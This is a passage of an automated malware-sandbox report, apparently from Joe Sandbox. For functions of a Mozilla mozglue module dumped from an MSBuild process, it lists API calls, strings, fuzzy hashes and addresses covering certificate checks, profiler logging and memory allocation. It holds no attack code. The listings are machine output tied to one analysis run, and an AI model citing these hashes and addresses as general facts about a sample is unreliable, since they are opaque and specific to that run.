Part of subcall function 6C37CA10: malloc.MOZGLUE(?), ref: 6C37CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C376D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C376D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C376D73
free.MOZGLUE(00000000), ref: 6C376D80
CertGetNameStringW.CRYPT32 ref: 6C376DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C376DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C376DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C376DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C376E10
CryptMsgClose.CRYPT32(00000000), ref: 6C376E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C376E34
CreateFileW.KERNEL32 ref: 6C376EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C376F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C376F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C37709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C377103
free.MOZGLUE(00000000), ref: 6C377153
CloseHandle.KERNEL32(?), ref: 6C377176
__Init_thread_footer.LIBCMT ref: 6C377209
__Init_thread_footer.LIBCMT ref: 6C37723A
__Init_thread_footer.LIBCMT ref: 6C37726B
__Init_thread_footer.LIBCMT ref: 6C37729C
__Init_thread_footer.LIBCMT ref: 6C3772DC
__Init_thread_footer.LIBCMT ref: 6C37730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C3773C2
VerSetConditionMask.NTDLL ref: 6C3773F3
VerSetConditionMask.NTDLL ref: 6C3773FF
VerSetConditionMask.NTDLL ref: 6C377406
VerSetConditionMask.NTDLL ref: 6C37740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C37741A
moz_xmalloc.MOZGLUE(?), ref: 6C37755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C377568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C377585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C377598
free.MOZGLUE(00000000), ref: 6C3775AC

Part of subcall function 6C39AB89: EnterCriticalSection.KERNEL32(6C3EE370,?,?,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284), ref: 6C39AB94
Part of subcall function 6C39AB89: LeaveCriticalSection.KERNEL32(6C3EE370,?,6C3634DE,6C3EF6CC,?,?,?,?,?,?,?,6C363284,?,?,6C3856F6), ref: 6C39ABD1

Strings

wintrust.dll, xrefs: 6C3772CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C3772C8
SHA256, xrefs: 6C376EC0
(, xrefs: 6C37768A

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 999d68573f9680bf9e6480a78b920898c705e4615da6c2e61db8119213168691
Instruction ID: 6e7b33528416d9e506cbd13dcf6f7e7edfaf87a2ffcb2a2a6a4092044d2baf26
Opcode Fuzzy Hash: 999d68573f9680bf9e6480a78b920898c705e4615da6c2e61db8119213168691
Instruction Fuzzy Hash: C252C671A003149BEB72DF64CC84BAA77BCEB4E708F104199E509A7640DB75AF84CFA5

Function 6C3AF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3AF09B

Part of subcall function 6C385B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3856EE,?,00000001), ref: 6C385B85
Part of subcall function 6C385B50: EnterCriticalSection.KERNEL32(6C3EF688,?,?,?,6C3856EE,?,00000001), ref: 6C385B90
Part of subcall function 6C385B50: LeaveCriticalSection.KERNEL32(6C3EF688,?,?,?,6C3856EE,?,00000001), ref: 6C385BD8
Part of subcall function 6C385B50: GetTickCount64.KERNEL32 ref: 6C385BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C3AF0AC

Part of subcall function 6C385C50: GetTickCount64.KERNEL32 ref: 6C385D40
Part of subcall function 6C385C50: EnterCriticalSection.KERNEL32(6C3EF688), ref: 6C385D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C3AF0BE

Part of subcall function 6C385C50: __aulldiv.LIBCMT ref: 6C385DB4
Part of subcall function 6C385C50: LeaveCriticalSection.KERNEL32(6C3EF688), ref: 6C385DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C3AF155
GetCurrentThreadId.KERNEL32 ref: 6C3AF1E0
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AF1ED
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AF212
GetCurrentThreadId.KERNEL32 ref: 6C3AF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3AF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C3AF248
GetCurrentThreadId.KERNEL32 ref: 6C3AF2AE
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AF2BB
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AF2F8

Part of subcall function 6C39CBE8: GetCurrentProcess.KERNEL32(?,6C3631A7), ref: 6C39CBF1
Part of subcall function 6C39CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3631A7), ref: 6C39CBFA

Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C374A68), ref: 6C3A945E
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3A9470
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3A9482
Part of subcall function 6C3A9420: __Init_thread_footer.LIBCMT ref: 6C3A949F

GetCurrentThreadId.KERNEL32 ref: 6C3AF350
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AF35D
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AF381
GetCurrentThreadId.KERNEL32 ref: 6C3AF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3AF3A0
GetCurrentThreadId.KERNEL32 ref: 6C3AF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3AF491

Part of subcall function 6C3A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3A94EE
Part of subcall function 6C3A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C3A9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C3AF3CF

Part of subcall function 6C3AF070: GetCurrentThreadId.KERNEL32 ref: 6C3AF440
Part of subcall function 6C3AF070: AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AF44D
Part of subcall function 6C3AF070: ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C3AF4A8
GetCurrentThreadId.KERNEL32 ref: 6C3AF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3AF561
GetCurrentThreadId.KERNEL32 ref: 6C3AF577
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AF585
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C3AF499
[I %d/%d] profiler_pause_sampling, xrefs: 6C3AF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C3AF56A
[I %d/%d] profiler_resume, xrefs: 6C3AF239

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 16d3b43251fb030c825c86f63882e0c035828bf5d64c08d8d607cad2fba08621
Instruction ID: 7497c6937268209b1fa31699189dbd8aeccf5e18dd88555a39d35af0efb5040d
Opcode Fuzzy Hash: 16d3b43251fb030c825c86f63882e0c035828bf5d64c08d8d607cad2fba08621
Instruction Fuzzy Hash: 04D10335604314DFDB609FA8E4047AA7BBCEB8E32CF10461BE95597B80DBB14815CFA6

Function 6C3764C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C3764DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C3764F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C376505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C376518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C37652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C37671C
GetCurrentProcess.KERNEL32 ref: 6C376724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C37672F
GetCurrentProcess.KERNEL32 ref: 6C376759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C376764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C376A80
GetSystemInfo.KERNEL32(?), ref: 6C376ABE
__Init_thread_footer.LIBCMT ref: 6C376AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C376AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C376AF7

Strings

_etoured.dll, xrefs: 6C3764ED
nvdxgiwrap.dll, xrefs: 6C376513
nvd3d9wrap.dll, xrefs: 6C376500
detoured.dll, xrefs: 6C3764DA
user32.dll, xrefs: 6C376526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C376798

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 7ce4526da349f1726a0d0dd1dc602b7a3cbbfbe8efbe571af4e1a4c1d06b453a
Instruction ID: 8305062ed459c4b4bd8a3e5e2d11dcf263ce36d6355749498f854ed7db7826eb
Opcode Fuzzy Hash: 7ce4526da349f1726a0d0dd1dc602b7a3cbbfbe8efbe571af4e1a4c1d06b453a
Instruction Fuzzy Hash: 03F1F6709052199FDF30CF24CC58BDAB7B8AF4A318F144299D809E7641E736AE84CFA5

Function 6C38ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C38EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C38EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C391695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3916B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C391770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C391A3E

Strings

~q6l, xrefs: 6C38ED13
~q6l, xrefs: 6C38ED10

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q6l$~q6l
API String ID: 3693777188-765272740
Opcode ID: a7ddeb22b7de910cd3a22a902d65b0ecc6c07532764007ca29400c187ffd6ba2
Instruction ID: ef299c95bc7964a3ef222e33dcf54f76104c0840a849caf2bc2bf4e75c56cd78
Opcode Fuzzy Hash: a7ddeb22b7de910cd3a22a902d65b0ecc6c07532764007ca29400c187ffd6ba2
Instruction Fuzzy Hash: 2FB31771E052198FCB14CFA8C890A9DB7B2FF49304F2582A9D459BB745E731AD86CF90

Function 6C377810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C3EE744), ref: 6C377885
LeaveCriticalSection.KERNEL32(6C3EE744), ref: 6C3778A5
EnterCriticalSection.KERNEL32(6C3EE784), ref: 6C3778AD
LeaveCriticalSection.KERNEL32(6C3EE784), ref: 6C3778CD
EnterCriticalSection.KERNEL32(6C3EE7DC), ref: 6C3778D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C3778E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C37795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C3779BB
LeaveCriticalSection.KERNEL32(?), ref: 6C377BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C377C82
LeaveCriticalSection.KERNEL32(6C3EE7DC), ref: 6C377CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C377DAF

Strings

D>l, xrefs: 6C37787F
D>l, xrefs: 6C37789F

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: D>l$D>l
API String ID: 759993129-375653668
Opcode ID: a82d52a3e664428495bf1333e73ee6f41b7fe5531f0aeca021817c7a57174022
Instruction ID: 7cb477ca76fb0de9f031a9054b382e37f9c5814f5e2c06d081870b9976ac83cc
Opcode Fuzzy Hash: a82d52a3e664428495bf1333e73ee6f41b7fe5531f0aeca021817c7a57174022
Instruction Fuzzy Hash: 30029031A0121ACFDB65CF19C984799B7B5FF89318F2582AAD809A7700D735BE90CF94

Function 6C3A7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

v>l, xrefs: 6C3A8207
(pre-xul), xrefs: 6C3A7E88
data, xrefs: 6C3A8280, 6C3A83E1
schema, xrefs: 6C3A81E3, 6C3A8311
name, xrefs: 6C3A7ECF, 6C3A8335

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$v>l
API String ID: 3412268980-3533847597
Opcode ID: f26e8b6eea15451aa4e356e79f631c9aef57f76c051001bbf15888319e01e64e
Instruction ID: df32c686b874c9054abc03cf31a244e15c8e973271182774cfd0e6d47fe8a8c7
Opcode Fuzzy Hash: f26e8b6eea15451aa4e356e79f631c9aef57f76c051001bbf15888319e01e64e
Instruction Fuzzy Hash: FBE19FB5A043408BD710CF68C84069BFBE9FB89314F144A2DE995DB780DBB5ED098F92

Function 6C38D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C3EE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C39D1C5), ref: 6C38D4F2
LeaveCriticalSection.KERNEL32(6C3EE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C39D1C5), ref: 6C38D50B

Part of subcall function 6C36CFE0: EnterCriticalSection.KERNEL32(6C3EE784), ref: 6C36CFF6
Part of subcall function 6C36CFE0: LeaveCriticalSection.KERNEL32(6C3EE784), ref: 6C36D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C39D1C5), ref: 6C38D52E
EnterCriticalSection.KERNEL32(6C3EE7DC), ref: 6C38D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C38D6A6
LeaveCriticalSection.KERNEL32(6C3EE7DC), ref: 6C38D712
LeaveCriticalSection.KERNEL32(6C3EE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C39D1C5), ref: 6C38D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C38D7EA

Strings

<jemalloc>, xrefs: 6C38D827
: (malloc) Error initializing arena, xrefs: 6C38D82C

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d8a0c20ebfa183657c38302bea8180d04ddf135dbe6403498f430039ea78cd74
Instruction ID: 039f3b18dd9a44594503b56f4cf2afba603c2dd44d6877d9b32e45f6fa83d6ad
Opcode Fuzzy Hash: d8a0c20ebfa183657c38302bea8180d04ddf135dbe6403498f430039ea78cd74
Instruction Fuzzy Hash: 7291F471A057068FDB64CF29C09032AB7E5EB89318F14892FE59AC7B85D731E844CF92

Function 6C3C4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C3C4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3C4F2E
moz_xmalloc.MOZGLUE ref: 6C3C4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C3C4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3C52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3C52E6
Sleep.KERNEL32(00000010), ref: 6C3C5481
free.MOZGLUE(?), ref: 6C3C5498

Strings

(, xrefs: 6C3C5250

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 4e62a097b9e5a0dc68f2c799387e98270360ee9a06eb19b8565210df24a74aac
Instruction ID: 0045433f8c258327af237a14a6782e22b658ce1218253a4041f2f95adcd37320
Opcode Fuzzy Hash: 4e62a097b9e5a0dc68f2c799387e98270360ee9a06eb19b8565210df24a74aac
Instruction Fuzzy Hash: 35F1B371A18B408FC716CF39C85062BB7F9AFDA284F05872EF886A7651DB71D845CB81

Function 6C3C7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C3C7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C3C7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C3C707E

Part of subcall function 6C3781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C3781DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C3C7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C3C709C
LocalFree.KERNEL32(?), ref: 6C3C70AA

Strings

(null), xrefs: 6C3C706A, 6C3C7083
### ERROR: %s: %s, xrefs: 6C3C7087

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 6d29a8225657acff011f0833e4fc6bcc7a8f0bd8cace66c0c023c5be6c242b72
Instruction ID: 79b2f4e48898c538d525e055d98837ec28ce73c0388605170fce651e24e8d1e7
Opcode Fuzzy Hash: 6d29a8225657acff011f0833e4fc6bcc7a8f0bd8cace66c0c023c5be6c242b72
Instruction Fuzzy Hash: 5801F9B1A00204AFDF519BA4DC4ADEF7BBCEF4D218F010436FA05A7241E63169048FE5

Function 6C3B2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C3B2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C3B2C61

Part of subcall function 6C364DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C364E5A
Part of subcall function 6C364DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C364E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C3B2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C3B2E2D

Part of subcall function 6C3781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C3781DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C3B2E3B
(root), xrefs: 6C3B354F
expected a Time entry, xrefs: 6C3B2E36

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 4e50f275970c56a82685254928f42af8ece61a7641a445fd6b0a6179f8906851
Instruction ID: 4fd98717c3629d13b4d8788ff5b38a010011747a4e7c3116b61982f9f0e33ed0
Opcode Fuzzy Hash: 4e50f275970c56a82685254928f42af8ece61a7641a445fd6b0a6179f8906851
Instruction Fuzzy Hash: 4091BE706087408FC724CF24C48469EB7E4AF99358F104A1EE5EAABB50EB31E949CF53

Function 6C3C9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C3C9F3D
__aulldiv.LIBCMT ref: 6C3C9F77
__aullrem.LIBCMT ref: 6C3C9F8C
__aulldiv.LIBCMT ref: 6C3CA023

Strings

NaN, xrefs: 6C3C9EAB
-Infinity, xrefs: 6C3C9E60, 6C3C9E7B

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
